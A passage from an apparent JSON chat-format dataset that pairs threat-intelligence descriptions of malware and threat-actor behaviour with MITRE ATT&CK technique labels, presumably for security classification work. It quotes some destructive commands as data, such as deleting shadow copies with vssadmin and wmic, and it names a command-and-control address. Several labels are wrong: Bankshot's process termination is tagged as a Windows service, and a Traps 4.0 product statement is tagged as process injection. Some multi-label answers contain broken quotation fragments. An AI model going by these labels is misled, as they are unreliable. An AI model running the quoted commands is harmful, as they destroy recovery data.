                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mandiant has created a task force &amp; initiated a Global Event to track the Russian invasion of Ukraine. Department of State, hosted on a page made to look like another Department of State Public Affairs official's personal drive, and used a legitimate Department of State form as a decoy. There are several similarities and technical overlaps between the 14 November 2018, phishing campaign and the suspected APT29 phishing campaign on 9 November 2016, both of which occurred shortly after U.S. However, the new campaign included creative new elements as well as a seemingly deliberate reuse of old phishing tactics, techniques and procedures (TTPs), including using the same system to weaponize a Windows shortcut (LNK) file. It has also been over a year since we have conclusively identified APT29 activity, which raises questions about the timing and the similarities of the activity after such a long interlude. The shortcut file was crafted to execute a PowerShell command that read, decoded, and executed additional code from within the shortcut file. Previous APT29 activity targeted some of the same recipients of this email campaign, and APT29 has leveraged large waves of emails in previous campaigns. On execution, the PowerShell command extracted and executed the Cobalt Strike BEACON backdoor and decoy PDF. For example, the use of 'FromBase'+0x40+'String', in place of FromBase64String, the PowerShell command used to decode base64. The decoded command consisted of additional PowerShell that read the content of ds7002.lnk from offset 0x5e2be to offset 0x623b6, base64 decoded the extracted content, and executed it as additional PowerShell content"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ferocious can run anti-sandbox checks using the Microsoft Excel 4.0 function \"GET.WORKSPACE\" to determine the OS version, if there is a mouse present, and if the host is capable of playing sounds."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can create a shortcut in the Windows startup folder for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In rare cases, LockBit 2.0 has been observed to create accounts for persistence with simple names, such as `a.`"
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the victim's username."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can gather Registry values."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER has collected a list of files from the victim and uploaded it to its C2 server, and then created a new list of specific files to steal."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Javali has been delivered via malicious links embedded in e-mails."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KONNI can collect the username from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kwampirs uses rundll32.exe in a Registry value added to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RainyDay can use tools to collect credentials from web browsers."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Diavol can receive configuration updates and additional payloads including wscpy.exe from C2."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WhisperGate can use a Visual Basic script to exclude the `C:\\` drive from Windows Defender."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PLEAD has the ability to list processes on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WINDSHIELD can gather the victim user name."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In one version of KeyBoy, string obfuscation routines were used to hide many of the critical values referenced in the malware."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can compress data with Zip before sending it over C2."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Meteor can use `bcdedit` to delete different boot identifiers on a compromised host; it can also use `vssadmin.exe delete shadows /all /quiet` and `C:\\\\Windows\\\\system32\\\\wbem\\\\wmic.exe shadowcopy delete`."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Consistent with the perceived goal of credential harvesting, the threat actors dropped and executed open source and free tools such as Hydra, SecretsDump, and CrackMapExec. Forensic analysis indicates that many of these tools were executed during the timeframe in which the actor was accessing the system"
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "menuPass has used esentutl to change file extensions to their true type that were masquerading as .txt files."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Final1stspy creates a Registry Run key to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lizar can collect email accounts from Microsoft Outlook and Mozilla Thunderbird."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ferocious Kitten has attempted to convince victims to enable malicious content within a spearphishing email by including an odd decoy message."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "b.wnry — Bitmap image used as desktop wallpaper (shown in Figure 2) - c.wnry — Configuration containing Tor command and control (C2) addresses, Bitcoin addresses, and other data - r.wnry — Ransom demand text - s.wnry — ZIP archive containing Tor software to be installed on the victim’s system; saved in TaskData directory - t.wnry — Encrypted DLL containing file-encryption functionality - u.wnry — Main module of the WCry ransomware “decryptor” - taskdl.exe — WNCRYT temporary file cleanup program - taskse.exe — Program that displays decryptor window to RDP sessions - msg — Directory containing Rich Text Format (RTF) ransom demands in multiple languages"
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Finally, OverWatch observed AQUATIC PANDA make multiple attempts at credential harvesting by dumping the memory of the LSASS process3 using living-off-the-land binaries rdrleakdiag.exe and cdump.exe — a renamed copy of createdump.exe. The threat actor used winRAR to compress the memory dump in preparation for exfiltration before attempting to cover their tracks by deleting all executables from the ProgramData and Windows\\temp\\ directories"
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory', 'T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shathak or TA551 is the name some security researchers have given to a specific distribution method that uses password-protected ZIP archives as attachments to malspam. It has used Word document templates targeting English-, Italian-, German- and Japanese-speaking recipients. Shathak/TA551 has been active at least as early as February 2019"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware’s next action is to check if the execute privilege is SYSTEM. When the execute privilege is SYSTEM, the malware will get the process “Explorer.exe”, get the token of the user that launched the process and impersonate it. It is a downgrade from SYSTEM to another user with less privileges to avoid affecting the desktop of the SYSTEM user later"
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Commands received from the control server are encoded DWORDs - After decoding, these DWORDs should be in the range 123459h to 123490h"
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Babuk has the ability to enumerate files on a targeted system."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sibot can decrypt data received from a C2 and save to a file."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PsExec, a tool that has been used by adversaries, writes programs to the \"ADMIN$\" network share to execute commands on remote systems."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emotet has been observed encrypting the data it collects before sending it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT40 relies heavily on web shells for an initial foothold into an organization. Depending on placement, a web shell can provide continued access to victims' environments, re-infect victim systems, and facilitate lateral movement"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In response to historical disclosures detailing TA416 PlugX malware infection and encoding methods, the group appears to have adopted a rapid rate of development for their PlugX payloads. The group uses different legitimate PE files to initiate sideloading, as well as a variety of PlugX DLL loaders including the PotPlayer and DocCon versions noted in this publication. TA416 also uses different variants of the final PlugX payload in which the communication routines are observed to be different when closely analyzed. Additionally, the payload DAT file decryption method has evolved regularly since the beginning of 2022. Several observed decryption schemas and a sample configuration are included below with date ranges detailing the evolution of observed PlugX payloads"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "admin@338 actors used the following command following exploitation of a machine with LOWBALL malware to obtain information about services: \"net start >> %temp%\\download\""
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mettle: A malicious campaign based on IP addresses in Vietnam (C2 210.245.26.180:4441, scanner 118.70.80.143) and mettle open source control module.. Hajime: This round of update from Hajime also includes GPON exploits.. Two Mirai variants: At least two malicious campaigns are actively exploiting this vulnerability to propagate mirai variants. The second one is already known as Omni.. Imgay: This looks like a botnet under development. We only observe its download behavior and no more follow-up actions."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Vulnerabilities', 'T1587.004 - Exploits', 'T1203 - Exploitation for Client Execution', 'T1595.002 - Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has used malware to obtain a list of running processes on the system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacMa can collect IP addresses from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can gather system information, the computer name, OS version, drive and serial information from the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbon uses the \"netstat -r\" and \"netstat -an\" commands."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Next, REvil checks the configuration field dbg to see if it’s running in debug mode. If that is not the case, geolocation checks based on the system’s language and the keyboard layout are conducted so the ransomware does not attempt to encrypt files on whitelisted systems. The following are whitelisted system language IDs for the analyzed sample"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoetRAT has the ability to overwrite scripts and delete itself if a sandbox environment is detected."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Andariel has inserted a malicious script within compromised websites to collect potential victim information such as browser type, system language, Flash Player version, and other data."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Editor’s note: Following publication of this blog, it came to our attention that AhnLab encountered what appears to be an earlier version of SDBbot, described in their recent Q3 ASEC Report as a “malicious SDB file. AhnLab describes delivery of the malware in South Korean campaigns as a secondary payload to the FlawedAmmyy RAT. TA505 has been active in South Korea in 2019 and frequently distributes the FlawedAmmyy RAT, but we cannot verify the connection at this time"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Honeybee, malicious files were decoded prior to execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RARSTONE obtains installer properties from Uninstall Registry Key entries to obtain information about installed applications and how to uninstall certain applications."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Volgmer can execute commands on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Egregor has used tools to gather information about users."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actors used valid credentials obtained using MimiKatz variants to escalate privileges. We’ve observed Mimikatz being executed both from the file system of victim hosts and via PowerShell cmdlets executed via Cobalt Strike BEACON. Actors have gained access to credentials via exported copies of the ntds.dit Active Directory database and SYSTEM and SECURITY registry hives from a Domain Controller"
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to schedule remote AT jobs."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Browser credential stealing: Capability to steal credentials (username and password) from the installed browsers, Microsoft Internet Explorer (MSIE), and Google Chrome browser. Figures 7 and 8 show the code sections responsible for stealing the credentials from MSIE and Chrome browser respectively"
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GrimAgent has used Rotate on Right (RoR) and Rotate on Left (RoL) functionality to encrypt strings."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Silent Librarian has used collected lists of names and e-mail accounts to use in password spraying attacks against private sector targets."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Traps 4.0 can be configured to protect the processes that are cited as being abused in this blog from loading malicious code"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One notable TTP observed by APT29 was the hunting for passwords stored in SYSVOL. This technique relies on passwords that are stored as part of Group Policy Preferences."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Astaroth collects the timestamp from the infected machine."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bankshot can terminate a specific process by its process id."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 sent spearphishing emails containing malicious Microsoft Office and RAR attachments."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "From our analysis, stealing keystrokes is the main function of RunningRat; however, the DLL has code for more extensive functionality"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information', 'T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerShower has added a registry key so future powershell.exe instances are spawned off-screen by default, and has removed all registry entries that are left behind during the dropper process."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkWatchman reports window names along with keylogger information to provide application context."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has created a scheduled task named “AdobeFlashSync” to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot has the ability to capture web session cookies."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conti uses a multithreading technique to fast encrypt all the files. This routine takes seconds to just a few minutes depending on the number of files on the machine. Each sample has a unique extension that the malware adds to the encrypted files. While using Cybereason with prevention mode off to allow investigation of the ransomware execution, it is possible to see the encryption activity and the creation of new files"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using valid credentials, CARBON SPIDER moves laterally through victim environments using RDP and occasionally SSH. The adversary typically uses PS to run Cobalt Strike but occasionally writes Cobalt Strike stagers or KillACK backdoors to disk. Occasionally, CARBON SPIDER has deployed the legitimate GoToAssist or TightVNC tools to provide redundant control of hosts"
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services:VNC', 'T1021.001 - Remote Services: Remote Desktop Protocol', 'T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "(Source: SecureWorks) In multiple instances, CTU researchers observed artifacts from unsuccessful attempts to create a web shell on web-accessible JBOSS-based service desk software, followed by use of a functional shell to gain access to the environment"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShimRat has registered two registry keys for shim databases."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
